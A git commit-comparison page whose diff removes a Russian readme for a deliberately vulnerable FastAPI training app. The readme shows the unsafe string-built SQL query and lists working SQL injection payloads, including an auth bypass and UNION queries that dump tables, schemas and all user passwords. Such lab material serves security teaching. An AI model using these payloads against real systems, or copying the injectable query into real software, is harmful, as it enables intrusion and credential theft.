Compare commits
9 Commits
59aaa4ced6
...
a05fd59274
| Author | SHA1 | Date | |
|---|---|---|---|
| a05fd59274 | |||
| d990cf5482 | |||
| 2295061943 | |||
| fa7d2c7cba | |||
| 532556dacd | |||
| f18f545e33 | |||
| 661fee131e | |||
| 641df7cfe8 | |||
| 5c7d16f418 |
112
readme.md
112
readme.md
@@ -1,112 +0,0 @@
|
|||||||
# Kulesh_Web_app - Уязвимое веб-приложение
|
|
||||||
|
|
||||||
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.
|
|
||||||
|
|
||||||
## Функциональность приложения
|
|
||||||
|
|
||||||
- ✅ Регистрация пользователей
|
|
||||||
- ✅ Авторизация пользователей
|
|
||||||
- ✅ Cookie-аутентификация
|
|
||||||
- ✅ Страница приветствия для авторизованных пользователей
|
|
||||||
- ✅ Docker-контейнеризация
|
|
||||||
|
|
||||||
## Сборка и запуск
|
|
||||||
|
|
||||||
### Сборка Docker-образа
|
|
||||||
```bash
|
|
||||||
docker build -t kulesh_web-app:v0.0.1a .
|
|
||||||
```
|
|
||||||
|
|
||||||
### Запуск приложения
|
|
||||||
```bash
|
|
||||||
docker compose up
|
|
||||||
```
|
|
||||||
|
|
||||||
Приложение будет доступно по адресу: http://localhost:8000
|
|
||||||
|
|
||||||
## Работа с CURL
|
|
||||||
|
|
||||||
### Регистрация пользователя Administrator
|
|
||||||
```bash
|
|
||||||
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
|
|
||||||
```
|
|
||||||
|
|
||||||
### Регистрация пользователя Kulesh_AS
|
|
||||||
```bash
|
|
||||||
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
|
|
||||||
```
|
|
||||||
|
|
||||||
### Авторизация через CURL
|
|
||||||
```bash
|
|
||||||
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
|
|
||||||
```
|
|
||||||
|
|
||||||
### Доступ к защищенной странице
|
|
||||||
```bash
|
|
||||||
curl -b cookies.txt http://localhost:8000/welcome
|
|
||||||
```
|
|
||||||
|
|
||||||
## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
|
|
||||||
|
|
||||||
### SQL-инъекция через форму авторизации
|
|
||||||
|
|
||||||
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
|
|
||||||
|
|
||||||
```python
|
|
||||||
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
|
|
||||||
```
|
|
||||||
|
|
||||||
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
|
|
||||||
|
|
||||||
### Базовый обход аутентификации
|
|
||||||
|
|
||||||
**Payload для поля login:**
|
|
||||||
```sql
|
|
||||||
' OR 1=1--
|
|
||||||
```
|
|
||||||
|
|
||||||
**Поле password:** (любое значение)
|
|
||||||
|
|
||||||
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
|
|
||||||
|
|
||||||
### Извлечение информации о базе данных
|
|
||||||
|
|
||||||
#### 1. Получение списка подключенных файлов БД:
|
|
||||||
```sql
|
|
||||||
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 2. Получение списка пользовательских таблиц:
|
|
||||||
```sql
|
|
||||||
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 3. Получение схем всех таблиц:
|
|
||||||
```sql
|
|
||||||
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 4. Извлечение всех пользователей и паролей:
|
|
||||||
```sql
|
|
||||||
' UNION SELECT id, login, password FROM users --
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 5. Получение данных конкретного пользователя Administrator:
|
|
||||||
```sql
|
|
||||||
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
|
|
||||||
```
|
|
||||||
|
|
||||||
### Пошаговая эксплуатация
|
|
||||||
|
|
||||||
1. **Откройте форму входа:** http://localhost:8000/login
|
|
||||||
|
|
||||||
2. **Введите базовый payload для обхода аутентификации:**
|
|
||||||
- Login: `' OR 1=1--`
|
|
||||||
- Password: `test`
|
|
||||||
|
|
||||||
3. **Для извлечения данных используйте UNION-based инъекцию:**
|
|
||||||
- Login: `' UNION SELECT id, login, password FROM users --`
|
|
||||||
- Password: `test`
|
|
||||||
|
|
||||||
4. **В ответе на странице приветствия вы увидите данные всех пользователей**
|
|
||||||
|
|
||||||
Reference in New Issue
Block a user